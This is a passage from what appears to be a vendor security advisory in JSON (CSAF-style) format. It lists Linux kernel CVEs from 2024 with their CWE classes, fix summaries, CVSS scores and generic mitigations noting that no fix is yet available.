            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-26993"
    },
    {
      "cve": "CVE-2024-27004",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nclk: Get runtime PM before walking tree during disable_unused",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27004"
    },
    {
      "cve": "CVE-2024-27013",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\ntun: limit printing rate when illegal packet received by tun dev\r\n\r\nvhost_worker will call tun call backs to receive packets. If too many\r\nillegal packets arrives, tun_do_read will keep dumping packet contents.\r\nWhen console is enabled, it will costs much more cpu time to dump\r\npacket and soft lockup will be detected.\r\n\r\nnet_ratelimit mechanism can be used to limit the dumping rate.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27013"
    },
    {
      "cve": "CVE-2024-27020",
      "cwe": {
        "id": "CWE-362",
        "name": "Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: Fix potential data-race in nft_expr_type_get().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27020"
    },
    {
      "cve": "CVE-2024-27024",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Vulnerability in the Linux kernel: net/rds: WARNING in rds_conn_connect_if_down If connection isn\u0027t established yet, get_mr() will fail, trigger connection after get_mr().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27024"
    },
    {
      "cve": "CVE-2024-27025",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Vulnerability in Linux kernel: nbd: null check for nla_nest_start nla_nest_start() may fail and return NULL. Insert a check and set errno based on other call sites within the same source code.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27025"
    },
    {
      "cve": "CVE-2024-27038",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Vulnerability in Linux kernel: clk: clk_core_get NULL dereference It is possible for clk_core_get to dereference a NULL in the following sequence: clk_core_get() of_clk_get_hw_from_clkspec() __of_clk_get_hw_from_provider() __clk_get_hw() __clk_get_hw() can return NULL which is dereferenced by clk_core_get() at hw-\u003ecore. Prior to commit dde4eff47c82 (\"clk: Look for parents with clkdev based clk_lookups\") the check IS_ERR_OR_NULL() was performed which would have caught the NULL. Reading the description of this function it talks about returning NULL but that cannot be so at the moment. Update the function to check for hw before dereferencing it and return NULL if hw is NULL.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27038"
    },
    {
      "cve": "CVE-2024-27047",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Vulnerablity in Linux kernel: net: phy: phy_get_internal_delay accessing an empty array The phy_get_internal_delay function could try to access to an empty array in the case that the driver is calling phy_get_internal_delay without defining delay_values and rx-internal-delay-ps or tx-internal-delay-ps is defined to 0 in the device-tree. This will lead to \"unable to handle kernel NULL pointer dereference at virtual address 0\".",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.2,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27047"
    },
    {
      "cve": "CVE-2024-27052",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Vulnerability in Linux kernel: wifi: rtl8xxxu: add cancel_work_sync() for c2hcmd_work The workqueue might still be running, when the driver is stopped.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27052"
    },
    {
      "cve": "CVE-2024-27053",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Vulnerability in the Linux kernel: wifi: wilc1000: RCU usage in connect path",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 9.1,
            "baseSeverity": "CRITICAL",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27053"
    },
    {
      "cve": "CVE-2024-27059",
      "cwe": {
        "id": "CWE-369",
        "name": "Divide By Zero"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: usb-storage: Prevent divide-by-0 error in isd200_ata_command\n\nThe isd200 sub-driver in usb-storage uses the HEADS and SECTORS values\nin the ATA ID information to calculate cylinder and head values when\ncreating a CDB for READ or WRITE commands.  The calculation involves\ndivision and modulus operations, which will cause a crash if either of\nthese values is 0.  While this never happens with a genuine device, it\ncould happen with a flawed or subversive emulation, as reported by the\nsyzbot fuzzer.\n\nProtect against this possibility by refusing to bind to the device if\neither the ATA_ID_HEADS or ATA_ID_SECTORS value in the device\u0027s ID\ninformation is 0.  This requires isd200_Initialization() to return a\nnegative error code when initialization fails; currently it always\nreturns 0 (even when there is an error).",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27059"
    },
    {
      "cve": "CVE-2024-27065",
      "cwe": {
        "id": "CWE-1287",
        "name": "Improper Validation of Specified Type of Input"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: do not compare internal table flags on updates Restore skipping transaction if table update does not modify flags.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.7,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27065"
    },
    {
      "cve": "CVE-2024-27072",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nmedia: usbtv: Remove useless locks in usbtv_video_free()\r\n\r\nRemove locks calls in usbtv_video_free() because\r\nare useless and may led to a deadlock as reported here:\r\nhttps://syzkaller.appspot.com/x/bisect.txt?x=166dc872180000\r\nAlso remove usbtv_stop() call since it will be called when\r\nunregistering the device.\r\n\r\nBefore \u0027c838530d230b\u0027 this issue would only be noticed if you\r\ndisconnect while streaming and now it is noticeable even when\r\ndisconnecting while not streaming.\r\n\r\n\r\n[hverkuil: fix minor spelling mistake in log message]",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27072"
    },
    {
      "cve": "CVE-2024-27076",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Vulnerability in the Linux kernel: media: imx: csc/scaler: v4l2_ctrl_handler memory leak Free the memory allocated in v4l2_ctrl_handler_init on release.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27076"
    },
    {
      "cve": "CVE-2024-27077",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Vulnerability in Linux kernel: media: v4l2-mem2mem: a memleak in v4l2_m2m_register_entity The entity-\u003ename (i.e. name) is allocated in v4l2_m2m_register_entity but isn\u0027t freed in its following error-handling paths. This patch adds such deallocation to prevent memleak of entity-\u003ename.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27077"
    },
    {
      "cve": "CVE-2024-27078",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Vulnerability in Linux kernel: media: v4l2-tpg: some memleaks in tpg_alloc In tpg_alloc, resources should be deallocated in each and every error-handling paths, since they are allocated in for statements. Otherwise there would be memleaks because tpg_free is called only when tpg_alloc return 0.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27078"
    },
    {
      "cve": "CVE-2024-27395",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: openvswitch: Fix Use-After-Free in ovs_ct_exit\n\nSince kfree_rcu, which is called in the hlist_for_each_entry_rcu traversal\nof ovs_ct_limit_exit, is not part of the RCU read critical section, it\nis possible that the RCU grace period will pass during the traversal and\nthe key will be free.\n\nTo prevent this, it should be changed to hlist_for_each_entry_safe.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27395"
    },
    {
      "cve": "CVE-2024-27396",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: gtp: Fix Use-After-Free in gtp_dellink\n\nSince call_rcu, which is called in the hlist_for_each_entry_rcu traversal\nof gtp_dellink, is not part of the RCU read critical section, it\nis possible that the RCU grace period will pass during the traversal and\nthe key will be free.\n\nTo prevent this, it should be changed to hlist_for_each_entry_safe.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27396"
    },
    {
      "cve": "CVE-2024-27397",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnetfilter: nf_tables: use timestamp to check for set element timeout\r\n\r\nAdd a timestamp field at the beginning of the transaction, store it\r\nin the nftables per-netns area.\r\n\r\nUpdate set backend .insert, .deactivate and sync gc path to use the\r\ntimestamp, this avoids that an element expires while control plane\r\ntransaction is still unfinished.\r\n\r\n.lookup and .update, which are used from packet path, still use the\r\ncurrent time to check if the element has expired. And .get path and dump\r\nalso since this runs lockless under rcu read size lock. Then, there is\r\nasync gc which also needs to check the current time since it runs\r\nasynchronously from a workqueue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.0,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27397"
    },
    {
      "cve": "CVE-2024-27419",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: netrom: data-races around sysctl_net_busy_read We need to protect the reader reading the sysctl value because the value can be changed concurrently.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27419"
    },
    {
      "cve": "CVE-2024-27431",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: cpumap: Zero-initialise xdp_rxq_info struct before running XDP program When running an XDP program that is attached to a cpumap entry, we don\u0027t initialise the xdp_rxq_info data structure being used in the xdp_buff that backs the XDP program invocation. Tobias noticed that this leads to random values being returned as the xdp_md-\u003erx_queue_index value for XDP programs running in a cpumap. This means we\u0027re basically returning the contents of the uninitialised memory, which is bad. Fix this by zero-initialising the rxq data structure before running the XDP program.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27431"
    },
    {
      "cve": "CVE-2024-27436",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Stop parsing channels bits when all channels are found. If a usb audio device sets more bits than the amount of channels it could write outside of the map array.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27436"
    },
    {
      "cve": "CVE-2024-27437",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvfio/pci: Disable auto-enable of exclusive INTx IRQ\n\nCurrently for devices requiring masking at the irqchip for INTx, ie.\ndevices without DisINTx support, the IRQ is enabled in request_irq()\nand subsequently disabled as necessary to align with the masked status\nflag.  This presents a window where the interrupt could fire between\nthese events, resulting in the IRQ incrementing the disable depth twice.\nThis would be unrecoverable for a user since the masked flag prevents\nnested enables through vfio.\n\nInstead, invert the logic using IRQF_NO_AUTOEN such that exclusive INTx\nis never auto-enabled, then unmask as required.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-27437"
    },
    {
      "cve": "CVE-2024-33621",
      "cwe": {
        "id": "CWE-1287",
        "name": "Improper Validation of Specified Type of Input"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: ipvlan: Dont Use skb-\u003esk in ipvlan_process_v4 / 6_outbound.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-33621"
    },
    {
      "cve": "CVE-2024-33847",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "f2fs: compress: Released compress inode f2fs image may be corrupted. The reason is partial truncation assume compressed inode has reserved blocks, after partial truncation, valid block count may change w/o .i_blocks and .total_valid_block_count update, resulting in corruption.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
